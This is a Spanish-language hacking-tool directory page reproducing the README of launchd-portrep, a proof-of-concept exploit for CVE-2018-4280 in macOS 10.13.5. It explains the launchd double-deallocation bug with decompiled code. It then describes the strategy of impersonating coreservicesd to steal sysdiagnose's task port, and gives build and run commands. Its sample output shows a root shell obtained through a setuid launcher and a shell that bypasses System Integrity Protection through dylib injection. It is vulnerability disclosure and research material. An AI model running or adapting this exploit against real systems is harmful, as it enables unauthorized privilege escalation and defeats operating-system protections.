Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/bazad/launchd-portrep
Escalada de PrivilegiosFrameworks de ExploitsExplotaciónPruebas de PenetraciónRed TeamingExplotación de Binarios
GitHubbazad/launchd-portrep

launchd-portrep

CVE-2018-4280: Vulnerabilidad de reemplazo de puerto Mach en launchd en macOS 10.13.5 que conduce a escalada de privilegios local y bypass de SIP.

Ver Repositorio
5966hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

launchd-portrep

launchd-portrep es un exploit para una vulnerabilidad de reemplazo de puertos en launchd, el proceso inicial del espacio de usuario y el demonio de gestión de servicios en macOS. Al enviar un mensaje Mach manipulado al puerto de bootstrap, se puede forzar a launchd a desasignar su derecho de envío para cualquier puerto Mach al que el atacante también tenga un derecho de envío. Esto permite al atacante suplantar cualquier servicio de launchd que pueda consultar ante el resto del sistema.

La vulnerabilidad

Launchd multiplexa varios manejadores de mensajes Mach sobre su puerto principal, incluyendo un manejador MIG para mensajes de excepción. Si un proceso envía un mensaje mach_exception_raise o mach_exception_raise_state_identity a su propio puerto de bootstrap, launchd recibirá y procesará ese mensaje como una excepción a nivel de host.

Desafortunadamente, el manejo de estos mensajes por parte de launchd tiene errores. Si el tipo de excepción es EXC_CRASH, entonces launchd desasignará los puertos de hilo y tarea enviados en el mensaje y luego devolverá KERN_FAILURE desde la rutina de servicio, lo que hace que el sistema MIG desasigne los puertos de hilo y tarea nuevamente. (La suposición es que si una rutina de servicio devuelve éxito, entonces ha tomado posesión de todos los recursos en el mensaje Mach, mientras que si la rutina de servicio devuelve un error, entonces no ha tomado posesión de ninguno de los recursos.)

Aquí está el código de la rutina de servicio de launchd para mensajes mach_exception_raise, descompilado usando IDA/Hex-Rays y ligeramente editado para facilitar la lectura:

root@kitploit:~
kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) La rutina de servicio es
        mach_port_t           exception_port,           //     llamada con valores directamente
        mach_port_t           thread,                   //     del mensaje Mach
        mach_port_t           task,                     //     enviado por el cliente. Los
        unsigned int          exception,                //     puertos de hilo y tarea podrían
        mach_exception_data_t code,                     //     ser derechos de envío arbitrarios.
        unsigned int          codeCnt)
{
    kern_return_t kr;      // eax@1 MAPDST
    kern_return_t result;  // eax@10
    int pid;               // [rsp+14h] [rbp-43Ch]@1
    char codes_str[1024];  // [rsp+20h] [rbp-430h]@5
    __int64 __stack_guard; // [rsp+420h] [rbp-30h]@1

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( codeCnt )
    {
        do
        {
            __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
            ++code;
            --codeCnt;
        }
        while ( codeCnt );
    }
    launchd_log_2(
        0LL,
        3LL,
        "Host-level exception raised: pid = %d, thread = 0x%x, "
            "exception type = 0x%x, codes = { %s }",
        pid,
        thread,
        exception,
        codes_str);
    kr = deallocate_mach_port(thread);                  // (b) El puerto "thread" enviado en
    if ( kr )                                           //     el mensaje es desasignado.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    kr = deallocate_mach_port(task);                    // (c) El puerto "task" enviado en el
    if ( kr )                                           //     mensaje es desasignado.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    result = 0;
    if ( *__stack_chk_guard_ptr == __stack_guard )
    {
        LOBYTE(result) = exception == 10;               // (d) Si el tipo de excepción es 10
        result *= 5;                                    //     (EXC_CRASH), entonces se devuelve
    }                                                   //     un error KERN_FAILURE.
    return result;                                      //     MIG desasignará los
}                                                       //     puertos nuevamente.

Esta doble desasignación de los nombres de puerto es problemática porque un proceso puede establecer los puertos que desee como los puertos de tarea e hilo en el mensaje de excepción. Launchd no realiza ninguna comprobación de que los derechos de envío recibidos correspondan realmente a un hilo y una tarea; los puertos podrían, por ejemplo, ser derechos de envío a puertos ya existentes en el espacio IPC de launchd. Entonces la doble desasignación haría que launchd perdiera una referencia de usuario en uno de sus propios puertos.

Este error puede ser explotado para liberar el derecho de envío de launchd a cualquier puerto Mach al que el proceso atacante también tenga un derecho de envío. En particular, si el proceso atacante puede consultar un servicio del sistema usando launchd, entonces puede liberar el derecho de envío de launchd a ese servicio y luego suplantar el servicio ante el resto del sistema. Después de eso hay muchas rutas diferentes para obtener privilegios del sistema.

Estrategia de exploit para obtener task_for_pid-allow

Este error es una versión menos general de CVE-2016-7637, un problema de manejo de referencias de usuario de puertos Mach en XNU descubierto por Ian Beer que permitía a los procesos liberar puertos Mach en otros procesos. Ian Beer explotó esa vulnerabilidad en macOS reemplazando el derecho de envío de launchd al endpoint com.apple.CoreServices.coreservicesd y suplantando a coreservicesd ante el resto del sistema. Coreservicesd es un objetivo atractivo porque es uno de los pocos servicios a los que los clientes envían su puerto de tarea en un mensaje Mach. Al reemplazar el derecho de envío de launchd a coreservicesd con su propio puerto y luego provocar que clientes privilegiados consulten y se comuniquen con coreservicesd, pudo obtener el puerto de tarea de un proceso privilegiado y luego ejecutar código dentro de ese proceso.

Dado que el comportamiento en macOS no ha cambiado, básicamente copié la estrategia de exploit de Ian Beer para esta vulnerabilidad. Enviamos mensajes de excepción a launchd que contienen el puerto de servicio de coreservicesd hasta que liberamos el derecho de envío de launchd a ese puerto. Podemos detectar cuándo hemos liberado el derecho llamando nuevamente a bootstrap_look_up() en el servicio: si launchd devuelve un nombre de puerto inválido, entonces hemos liberado con éxito el derecho de envío de launchd al puerto. Luego, registramos y desregistramos repetidamente un gran número de servicios en launchd hasta que uno de los servicios que registramos recibe el mismo nombre de puerto Mach en el espacio IPC de launchd que el puerto original de coreservicesd. En este punto, cualquier proceso que consulte com.apple.CoreServices.coreservicesd en launchd recibirá un derecho de envío a nuestro servicio falso en lugar del coreservicesd real. Luego ejecutamos un servidor MITM en el puerto de servicio falso, inspeccionando todos los puertos Mach en los mensajes recibidos de los clientes antes de reenviarlos al coreservicesd real. En este punto, enviamos un mensaje a sysdiagnose para que ejecute un tailspin, lo que hace que sysdiagnose se conecte a nuestro puerto falso de coreservicesd y nos envíe su puerto de tarea. Dado que sysdiagnose tiene el permiso task_for_pid-allow, ahora podemos obtener el puerto de tarea de cualquier proceso.

Para restaurar (en su mayoría) el funcionamiento adecuado del sistema, usamos sysdiagnose para obtener el puerto de tarea de launchd, y luego usamos el puerto de tarea de launchd para reemplazar el derecho de envío de launchd a nuestro puerto de servicio falso de vuelta a un derecho de envío al coreservicesd real. De esa manera, los futuros clientes podrán realmente alcanzar coreservicesd.

Un problema que he notado con este enfoque es que el sistema parece colgarse brevemente al apagar. Supongo que esto se debe a que alterar los puertos de launchd desordena algunos de los cálculos o notificaciones de puertos de launchd. No he investigado más este problema, pero reiniciar coreservicesd usando launchctl parece solucionarlo:

root@kitploit:~
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd

Una vez que tenemos task_for_pid-allow

Una vez que tenemos ejecución de código dentro de un proceso con task_for_pid-allow, podemos controlar cualquier tarea en el sistema. Esto es excelente porque no solo podemos realizar la elevación de privilegios estándar, sino que también podemos eludir SIP inyectando código en procesos con entitlements SIP.

Este exploit demuestra dos usos potenciales: ejecución de comandos del sistema como root e inyección de dylib. Para ejecutar un comando del sistema, simplemente invocamos la función estándar system() desde dentro de sysdiagnose, pasándole la cadena de comando suministrada por el usuario. Para inyectar una dylib en un proceso, llamamos a task_for_pid() desde dentro de sysdiagnose para obtener el puerto de tarea del objetivo, luego usamos el puerto de tarea para llamar a dlopen() en la biblioteca suministrada.

Uso

Para construir el exploit independiente launchd-portrep, ejecuta make. Consulta la parte superior del Makefile para varias opciones de compilación. Necesitarás descargar y construir primero la biblioteca de inyección threadexec.

root@kitploit:~
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make

Ten en cuenta que el exploit tal como está escrito fallará si el proceso sysdiagnose ya se está ejecutando. Por lo tanto, para los fines de esta prueba de concepto, asegúrate de matar sysdiagnose antes de ejecutar el exploit. (Es posible reelaborar el exploit para que funcione incluso si sysdiagnose ya se está ejecutando, pero he decidido no incorporar esta funcionalidad para desalentar el uso malicioso de esta herramienta.)

Ejecuta el exploit especificando el comando a ejecutar como si se le estuviera dando a la función system():

root@kitploit:~
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r--  1 root  wheel  0 Jul 24 23:50 /tmp/exploit-success

Alternativamente, si especificas un PID y una ruta absoluta a un archivo de biblioteca dinámica, launchd-portrep inyectará la dylib en el proceso especificado.

También hay dos scripts de ejemplo que envuelven launchd-portrep: launchd-portrep-rootsh.sh y launchd-portrep-rootless.sh.

launchd-portrep-rootsh.sh presentará un shell root tradicional instalando un lanzador de shell setuid-root en /var/suid-sh. (El shell setuid se elimina automáticamente después de 1 segundo.)

root@kitploit:~
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#

launchd-portrep-rootless.sh es aún más interesante: presenta un shell donde las restricciones rootless en el sistema de archivos han sido deshabilitadas. Lo hace generando diskmanagementd, que tiene el entitlement com.apple.rootless.install.heritable, y luego inyecta una dylib en diskmanagementd que hace que genere un shell con stdin y stdout vinculados a named pipes. Como sugiere el nombre del entitlement, las exenciones de SIP otorgadas por com.apple.rootless.install.heritable se transmitirán a los procesos hijos, lo que significa que el shell y todos los comandos que ejecutes en él están esencialmente exentos de las protecciones de SIP en el sistema de archivos.

root@kitploit:~
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   4 root  wheel  restricted  128 Jul 25 19:08 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   5 root  wheel  restricted  160 Jul 25 19:19 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
-rw-r--r--    1 root  wheel  restricted    0 Jul 25 19:19 exploit-success
bash-3.2# exit

launchd-portrep ha sido probado en macOS 10.13.5 17F77.

Licencia

El código de launchd-portrep se publica bajo la licencia MIT.


Brandon Azad

Descargar herramienta